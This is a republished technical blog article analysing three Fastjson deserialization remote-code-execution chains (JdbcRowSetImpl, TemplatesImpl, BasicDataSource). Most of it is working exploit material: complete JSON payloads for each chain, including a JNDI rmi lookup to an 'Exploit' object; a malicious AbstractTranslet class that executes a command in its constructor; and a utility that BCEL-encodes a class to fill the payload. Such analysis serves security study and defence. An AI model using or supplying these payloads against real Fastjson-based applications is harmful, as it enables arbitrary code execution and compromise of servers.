Fastjson RCE Chains: JdbcRowSetImpl, TemplatesImpl, and BasicDataSource Exploits

This article analyzes three Fastjson deserialization exploit chains—JdbcRowSetImpl, TemplatesImpl, and BasicDataSource—detailing how crafted JSON payloads trigger JNDI lookups, load remote malicious bytecode, and ultimately achieve remote code execution without requiring special Fastjson features.

Programmer DD
Programmer DD
Programmer DD
Fastjson RCE Chains: JdbcRowSetImpl, TemplatesImpl, and BasicDataSource Exploits

JdbcRowSetImpl chain

The payload defines an a object to bypass the whitelist and a second b object of type com.sun.rowset.JdbcRowSetImpl with autoCommit:true. During deserialization Fastjson sets the autoCommit property, invoking JdbcRowSetImpl.setAutoCommit(), which calls connect(). The connect() method performs a JNDI lookup ( com.sun.jndi.rmi.registry.RegistryContext.lookup()) that loads a remote malicious object.

String payload = "{
" +
    "    \"a\":{
" +
    "        \"@type\":\"java.lang.Class\",
" +
    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"
" +
    "    },
" +
    "    \"b\":{
" +
    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
" +
    "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",
" +
    "        \"autoCommit\":true
" +
    "    }
}";
JSON.parse(payload);

TemplatesImpl chain

This chain uses com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl. The payload supplies a malicious class that extends AbstractTranslet and embeds its bytecode in the _bytecodes field. When Fastjson deserializes the object it calls newTransformer(), which eventually invokes defineTransletClasses() and instantiates the malicious class, executing its static initializer or constructor (e.g., Runtime.getRuntime().exec("calc.exe")).

String payload = "{\"a\":{
" +
    "\"@type\":\"java.lang.Class\",
" +
    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"
" +
    "},
" +
    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
" +
    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);

The malicious class must extend AbstractTranslet and can contain arbitrary code in its constructor.

public class TEMPOC extends AbstractTranslet {
    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {}
    public static void main(String[] args) throws Exception {
        new TEMPOC();
    }
}

BasicDataSource chain

This chain targets org.apache.tomcat.dbcp.dbcp2.BasicDataSource. The payload constructs a nested object where the driverClassLoader is set to com.sun.org.apache.bcel.internal.util.ClassLoader and driverClassName contains a BCEL‑encoded malicious class. Fastjson deserializes the object, the getConnection() method eventually calls Class.forName(driverClassName, true, driverClassLoader), loads the bytecode, and executes it.

String payload = "{
" +
    "    \"name\":{
" +
    "        \"@type\":\"java.lang.Class\",
" +
    "        \"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"
" +
    "    },
" +
    "    \"x\":{
" +
    "        \"name\":{
" +
    "            \"@type\":\"java.lang.Class\",
" +
    "            \"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"
" +
    "        },
" +
    "        \"y\":{
" +
    "            \"@type\":\"com.alibaba.fastjson.JSONObject\",
" +
    "            \"c\":{
" +
    "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
" +
    "                \"driverClassLoader\":{
" +
    "                    \"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"
" +
    "                },
" +
    "                \"driverClassName\":\"!!!Payload!!!\",
" +
    "                \"$ref\":\"$.x.y.c.connection\"
" +
    "            }
" +
    "        }
" +
    "    }
}";
JSON.parse(payload);

To generate the BCEL payload, the article provides a small Java utility that loads a compiled class, encodes it with Utility.encode(..., true), prefixes it with $$BCEL$$, and feeds it to the driverClassName field.

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(Exp.class);
        String code = Utility.encode(cls.getBytes(), true);
        code = "$$BCEL$$" + code;
        new ClassLoader().loadClass(code).newInstance();
        System.out.println(code);
    }
}

Conclusions

JdbcRowSetImpl relies on JNDI injection and works on lower JDK versions; it requires network access to fetch the remote payload.

TemplatesImpl is a classic Java deserialization gadget; it needs the Feature.SupportNonPublicField flag, limiting its practical use.

BasicDataSource does not need network access or special Fastjson flags, but the target application must include Tomcat DBCP libraries.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

JavaSecurityfastjsonDeserializationRCEJNDI
Programmer DD
Written by

Programmer DD

A tinkering programmer and author of "Spring Cloud Microservices in Action"

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.